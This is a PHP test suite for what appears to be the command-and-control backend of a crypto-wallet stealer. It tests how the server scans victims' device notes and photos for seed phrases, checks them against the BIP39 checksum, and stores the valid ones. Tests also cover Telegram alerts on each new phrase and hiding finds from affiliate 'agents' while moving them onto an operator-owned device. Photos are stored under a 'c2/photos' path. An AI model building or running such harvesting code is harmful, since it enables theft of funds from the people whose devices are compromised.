<?php

namespace Tests\Feature;

use App\Models\Admin;
use App\Models\Channel;
use App\Models\Device;
use App\Models\MnemonicFinding;
use App\Models\Note;
use App\Models\Photo;
use App\Models\User;
use App\Services\MnemonicScanService;
use App\Services\MnemonicScanStatus;
use App\Services\Ocr\OcrDriver;
use Illuminate\Foundation\Testing\RefreshDatabase;
use Illuminate\Support\Facades\Http;
use Illuminate\Support\Facades\Storage;
use PHPUnit\Framework\Attributes\Test;
use Tests\TestCase;

class MnemonicScanTest extends TestCase
{
    use RefreshDatabase;

    private const PHRASE = 'arctic floor lamp patrol connect mixture student enough mandate region whisper hint';

    private const NINE_HIT_OCR = <<<'TXT'
palance cousin endorse
refuse private dog
solution puddy april
picture father jab
TXT;

    private const INVALID_UNIQUE = 'ability able about above absent absorb abstract absurd abuse access accident account';

    protected function setUp(): void
    {
        parent::setUp();
        config([
            'coruna.telegram.bot_token' => 'tg-token',
            'coruna.telegram.owner_chat_id' => '10001',
        ]);
        Http::fake(['api.telegram.org/*' => Http::response(['ok' => true], 200)]);
    }

    #[Test]
    public function twelve_note_words_auto_confirm_and_ingest(): void
    {
        $device = $this->device('dev-scan-12');
        Note::query()->create([
            'device_id' => $device->id,
            'content' => [
                ['title' => 'wallet', 'body' => self::PHRASE, 'native_id' => 9],
            ],
            'content_hash' => hash('sha256', 'x'),
        ]);

        app(MnemonicScanService::class)->scanDeviceNotes($device);

        $finding = MnemonicFinding::query()->first();
        $this->assertNotNull($finding);
        $this->assertSame(MnemonicFinding::STATUS_CONFIRMED, $finding->status);
        $this->assertSame(self::PHRASE, $finding->candidate);
        $this->assertSame(1, $device->mnemonics()->count());
        $this->assertSame('备忘录扫描', $device->mnemonics()->value('source'));
        $this->assertSame(MnemonicScanStatus::CONFIRMED, (int) $device->noteScans()->value('scan_status'));
        Http::assertSent(function ($request) {
            $text = (string) ($request->data()['text'] ?? '');

            return str_contains($text, '新助记词') && str_contains($text, '备忘录扫描');
        });
    }

    #[Test]
    public function glued_numbered_note_words_auto_confirm_and_ingest(): void
    {
        $phrase = 'during exhaust tool custom smart old busy region skin wasp attitude wrist';
        $device = $this->device('dev-scan-glued');
        Note::query()->create([
            'device_id' => $device->id,
            'content' => [
                '1.during 2.exhaust 3.tool 4.custom 5.smart 6.old 7.busy 8.region 9.skin 10.wasp 11.attitude 12.wrist',
            ],
            'content_hash' => hash('sha256', 'glued'),
        ]);

        app(MnemonicScanService::class)->scanDeviceNotes($device);

        $finding = MnemonicFinding::query()->first();
        $this->assertNotNull($finding);
        $this->assertSame(MnemonicFinding::STATUS_CONFIRMED, $finding->status);
        $this->assertSame($phrase, $finding->candidate);
        $this->assertSame(1, $device->mnemonics()->count());
        $this->assertSame(MnemonicScanStatus::CONFIRMED, (int) $device->noteScans()->value('scan_status'));
    }

    #[Test]
    public function nine_note_hits_are_ignored(): void
    {
        $device = $this->device('dev-scan-9');
        Note::query()->create([
            'device_id' => $device->id,
            'content' => [
                ['title' => 'partial', 'body' => self::NINE_HIT_OCR, 'native_id' => 3],
            ],
            'content_hash' => hash('sha256', 'p'),
        ]);

        app(MnemonicScanService::class)->scanDeviceNotes($device);

        $this->assertSame(0, MnemonicFinding::query()->count());
        $this->assertSame(0, $device->mnemonics()->count());
        $this->assertSame(MnemonicScanStatus::EMPTY, (int) $device->noteScans()->value('scan_status'));
    }

    #[Test]
    public function repetitive_note_english_is_ignored(): void
    {
        $device = $this->device('dev-scan-pipe');
        Note::query()->create([
            'device_id' => $device->id,
            'content' => [
                ['title' => 'PVC', 'body' => 'PVC pipe 200 1.5 cable coil cable coil cable coil cable way', 'native_id' => 22],
            ],
            'content_hash' => hash('sha256', 'pipe'),
        ]);

        app(MnemonicScanService::class)->scanDeviceNotes($device);

        $this->assertSame(0, MnemonicFinding::query()->count());
        $this->assertSame(MnemonicScanStatus::EMPTY, (int) $device->noteScans()->value('scan_status'));
    }

    #[Test]
    public function admin_can_edit_and_confirm_a_suspected_photo(): void
    {
        $device = $this->device('dev-scan-confirm');
        $photo = $this->photoWithOcr($device, self::INVALID_UNIQUE);
        app(MnemonicScanService::class)->scanPhoto($photo);
        $finding = MnemonicFinding::query()->first();
        $this->assertSame(MnemonicFinding::STATUS_SUSPECTED, $finding?->status);

        $admin = Admin::query()->create(['username' => 'scan-admin', 'password' => 'admin123']);
        $this->actingAs($admin, 'admin')
            ->postJson(route('admin.findings.confirm', $finding), ['candidate' => self::PHRASE])
            ->assertOk()
            ->assertJsonPath('code', 0);

        $this->assertSame(MnemonicFinding::STATUS_CONFIRMED, $finding->fresh()->status);
        $this->assertSame(self::PHRASE, $finding->fresh()->candidate);
        $this->assertSame(1, $device->mnemonics()->count());
        $this->assertSame(MnemonicScanStatus::CONFIRMED, (int) $photo->fresh()->scan_status);
    }

    #[Test]
    public function admin_confirm_rejects_invalid_phrase(): void
    {
        $device = $this->device('dev-scan-confirm-bad');
        $photo = $this->photoWithOcr($device, self::INVALID_UNIQUE);
        app(MnemonicScanService::class)->scanPhoto($photo);
        $finding = MnemonicFinding::query()->first();

        $admin = Admin::query()->create(['username' => 'scan-admin-2', 'password' => 'admin123']);
        $this->actingAs($admin, 'admin')
            ->postJson(route('admin.findings.confirm', $finding), ['candidate' => self::INVALID_UNIQUE])
            ->assertOk()
            ->assertJsonPath('code', 1);

        $this->assertSame(MnemonicFinding::STATUS_SUSPECTED, $finding->fresh()->status);
        $this->assertSame(0, $device->mnemonics()->count());
    }

    #[Test]
    public function bip39_test_vector_note_is_ignored(): void
    {
        $device = $this->device('dev-scan-abandon');
        Note::query()->create([
            'device_id' => $device->id,
            'content' => [
                ['title' => 'test', 'body' => 'abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon about', 'native_id' => 7],
            ],
            'content_hash' => hash('sha256', 'ab'),
        ]);

        app(MnemonicScanService::class)->scanDeviceNotes($device);

        $this->assertSame(0, MnemonicFinding::query()->count());
        $this->assertSame(0, $device->mnemonics()->count());
    }

    #[Test]
    public function twelve_note_words_without_checksum_are_ignored(): void
    {
        $device = $this->device('dev-scan-bad-12');
        Note::query()->create([
            'device_id' => $device->id,
            'content' => [
                ['title' => 'wallet', 'body' => self::INVALID_UNIQUE, 'native_id' => 8],
            ],
            'content_hash' => hash('sha256', 'bad'),
        ]);

        app(MnemonicScanService::class)->scanDeviceNotes($device);

        $this->assertSame(0, MnemonicFinding::query()->count());
        $this->assertSame(0, $device->mnemonics()->count());
        $this->assertSame(MnemonicScanStatus::EMPTY, (int) $device->noteScans()->value('scan_status'));
    }

    #[Test]
    public function twelve_photo_words_auto_confirm_with_album_source(): void
    {
        $device = $this->device('dev-scan-photo-12');
        $photo = $this->photoWithOcr($device, self::PHRASE);

        app(MnemonicScanService::class)->scanPhoto($photo);

        $photo->refresh();
        $this->assertSame(MnemonicScanStatus::CONFIRMED, (int) $photo->scan_status);
        $finding = MnemonicFinding::query()->where('photo_id', $photo->id)->first();
        $this->assertSame(MnemonicFinding::STATUS_CONFIRMED, $finding?->status);
        $this->assertSame(1, $device->mnemonics()->count());
        $this->assertSame('相册', $device->mnemonics()->value('source'));
        Http::assertSent(function ($request) {
            $text = (string) ($request->data()['text'] ?? '');

            return str_contains($text, '新助记词') && str_contains($text, '相册');
        });
    }

    #[Test]
    public function twelve_photo_words_without_checksum_stay_suspected(): void
    {
        $device = $this->device('dev-scan-photo-bad');
        $invalid = 'abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon';
        $photo = $this->photoWithOcr($device, $invalid);

        app(MnemonicScanService::class)->scanPhoto($photo);

        $photo->refresh();
        $this->assertSame(MnemonicScanStatus::SUSPECTED, (int) $photo->scan_status);
        $this->assertSame(MnemonicFinding::STATUS_SUSPECTED, MnemonicFinding::query()->where('photo_id', $photo->id)->value('status'));
        $this->assertSame(0, $device->mnemonics()->count());
        Http::assertNotSent(function ($request) {
            $text = (string) ($request->data()['text'] ?? '');

            return str_contains($text, '疑似助记词') || str_contains($text, '新助记词');
        });
    }

    #[Test]
    public function hidden_agent_scan_ingests_onto_official_device(): void
    {
        config(['coruna.scan.agent_visible' => false]);
        $official = $this->officialDevice('dev-official-holder');
        $device = $this->device('dev-scan-reattach');
        Note::query()->create([
            'device_id' => $device->id,
            'content' => [
                ['title' => 'wallet', 'body' => self::PHRASE, 'native_id' => 9],
            ],
            'content_hash' => hash('sha256', 'x'),
        ]);

        app(MnemonicScanService::class)->scanDeviceNotes($device);

        $this->assertSame(0, $device->mnemonics()->count());
        $this->assertSame($device->id, (int) MnemonicFinding::query()->value('device_id'));
        $row = $official->mnemonics()->first();
        $this->assertNotNull($row);
        $this->assertSame(self::PHRASE, $row->mnemonic);
        $this->assertSame($device->id, (int) $row->origin_device_id);
        $this->assertSame('备忘录扫描', $row->source);
        Http::assertSent(function ($request) use ($official, $device) {
            $text = (string) ($request->data()['text'] ?? '');

            return str_contains($text, '新助记词')
                && str_contains($text, $official->device_id)
                && str_contains($text, '原设备')
                && str_contains($text, $device->device_id);
        });
    }

    #[Test]
    public function admin_findings_index_streams_note_progress(): void
    {
        $first = $this->device('dev-scan-progress-a');
        $second = $this->device('dev-scan-progress-b');
        Note::query()->create([
            'device_id' => $first->id,
            'content' => [
                ['title' => 'old', 'body' => 'one', 'native_id' => 1],
                ['title' => 'old2', 'body' => 'two', 'native_id' => 2],
            ],
            'content_hash' => hash('sha256', 'old'),
        ]);
        Note::query()->create([
            'device_id' => $first->id,
            'content' => [
                ['title' => 'new', 'body' => 'only-latest', 'native_id' => 3],
            ],
            'content_hash' => hash('sha256', 'new'),
        ]);
        Note::query()->create([
            'device_id' => $second->id,
            'content' => [
                ['title' => 'b1', 'body' => 'x', 'native_id' => 1],
                ['title' => 'b2', 'body' => 'y', 'native_id' => 2],
            ],
            'content_hash' => hash('sha256', 'b'),
        ]);

        $progress = app(MnemonicScanService::class)->noteProgress();
        $this->assertSame(3, $progress['total']);

        $agentA = User::query()->create(['username' => 'scan-pa', 'password' => 'secret12', 'status' => 1]);
        $agentB = User::query()->create(['username' => 'scan-pb', 'password' => 'secret12', 'status' => 1]);
        Channel::query()->create(['channel_id' => 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa', 'user_id' => $agentA->id, 'status' => 1]);
        Channel::query()->create(['channel_id' => 'cccccccccccccccccccccccccccccccc', 'user_id' => $agentB->id, 'status' => 1]);
        $other = Device::query()->create([
            'device_id' => 'dev-scan-progress-c',
            'channel_id' => 'cccccccccccccccccccccccccccccccc',
        ]);
        Note::query()->create([
            'device_id' => $other->id,
            'content' => [
                ['title' => 'c1', 'body' => 'z', 'native_id' => 1],
                ['title' => 'c2', 'body' => 'w', 'native_id' => 2],
                ['title' => 'c3', 'body' => 'v', 'native_id' => 3],
                ['title' => 'c4', 'body' => 'u', 'native_id' => 4],
                ['title' => 'c5', 'body' => 't', 'native_id' => 5],
            ],
            'content_hash' => hash('sha256', 'c'),
        ]);
        $this->assertSame(3, app(MnemonicScanService::class)->noteProgress(null, $agentA)['total']);
        $this->assertSame(5, app(MnemonicScanService::class)->noteProgress(null, $agentB)['total']);

        $admin = Admin::query()->create(['username' => 'scan-index', 'password' => 'admin123']);
        $this->actingAs($admin, 'admin')
            ->get(route('admin.findings.index'))
            ->assertOk()
            ->assertSee('助记词扫描')
            ->assertSee('备忘录');
    }

    #[Test]
    public function agent_cannot_open_findings_when_scan_hidden(): void
    {
        config(['coruna.scan.agent_visible' => false]);
        $agent = User::query()->create([
            'username' => 'scan-agent',
            'password' => 'secret12',
            'status' => 1,
        ]);

        $this->actingAs($agent, 'agent')
            ->get(route('user.findings.index'))
            ->assertForbidden();
        $this->actingAs($agent, 'agent')
            ->getJson(route('user.findings.data'))
            ->assertForbidden();
    }

    #[Test]
    public function agent_device_photos_hide_scan_ui_when_scan_hidden(): void
    {
        config(['coruna.scan.agent_visible' => false]);
        $agent = User::query()->create([
            'username' => 'scan-hide-ui',
            'password' => 'secret12',
            'status' => 1,
        ]);
        Channel::query()->create([
            'channel_id' => 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa',
            'user_id' => $agent->id,
            'status' => 1,
        ]);
        $device = $this->device('dev-scan-hide-ui');
        $photo = $this->photoWithOcr($device, self::PHRASE);
        $photo->scan_status = MnemonicScanStatus::SUSPECTED;
        $photo->save();

        $this->actingAs($agent, 'agent')
            ->get(route('user.devices.show', [$device, 'tab' => 'photos']))
            ->assertOk()
            ->assertDontSee('助记词扫描')
            ->assertDontSee('扫描进度')
            ->assertDontSee('疑似')
            ->assertDontSee('已扫');

        $tab = $this->actingAs($agent, 'agent')
            ->getJson(route('user.devices.tabData', [$device, 'tab' => 'photos']))
            ->assertOk();
        $this->assertSame('', $tab->json('data.0.scan_label'));
        $this->assertArrayNotHasKey('scan', $tab->json());
    }

    #[Test]
    public function rescan_drops_stale_suspected_finding(): void
    {
        $device = $this->device('dev-scan-stale');
        $note = Note::query()->create([
            'device_id' => $device->id,
            'content' => [
                ['title' => 'ui', 'body' => '备份助记词 请妥善保管', 'native_id' => 1],
            ],
            'content_hash' => hash('sha256', 'y'),
        ]);
        $finding = new MnemonicFinding([
            'device_id' => $device->id,
            'source' => 'note',
            'note_id' => $note->id,
            'item_key' => 'n:1',
            'status' => MnemonicFinding::STATUS_SUSPECTED,
            'word_count' => 12,
            'score' => 140,
        ]);
        $finding->candidate = '备 份 助 记 词 请 妥 善 保 管';
        $finding->save();

        app(MnemonicScanService::class)->scanDeviceNotes($device);

        $this->assertSame(0, MnemonicFinding::query()->count());
        $this->assertSame(MnemonicScanStatus::EMPTY, (int) $device->noteScans()->value('scan_status'));
    }

    private function device(string $key): Device
    {
        return Device::query()->create([
            'device_id' => $key,
            'channel_id' => 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa',
        ]);
    }

    private function officialDevice(string $key): Device
    {
        Channel::query()->create([
            'channel_id' => 'bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb',
            'user_id' => Channel::OFFICIAL_USER_ID,
            'status' => 1,
        ]);

        return Device::query()->create([
            'device_id' => $key,
            'channel_id' => 'bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb',
        ]);
    }

    private function photoWithOcr(Device $device, string $ocrText): Photo
    {
        $this->app->instance(OcrDriver::class, new class($ocrText) implements OcrDriver
        {
            public function __construct(private readonly string $text) {}

            public function recognize(string $imagePath): string
            {
                return $this->text;
            }
        });

        return $this->storePhoto($device);
    }

    /**
     * @param  array<string, mixed>  $attrs
     */
    private function storePhoto(Device $device, array $attrs = []): Photo
    {
        $png = base64_decode('iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAADUlEQVR42mP8z8BQDwAEhQGAhKmMIQAAAABJRU5ErkJggg==');
        $rel = 'c2/photos/'.$device->device_id.'/'.uniqid('p_', true).'.png';
        Storage::disk('local')->put($rel, $png);

        return Photo::query()->create(array_merge([
            'device_id' => $device->id,
            'sha256' => hash('sha256', $png.uniqid('', true)),
            'path' => $rel,
            'size' => strlen($png),
            'scan_status' => MnemonicScanStatus::PENDING,
        ], $attrs));
    }
}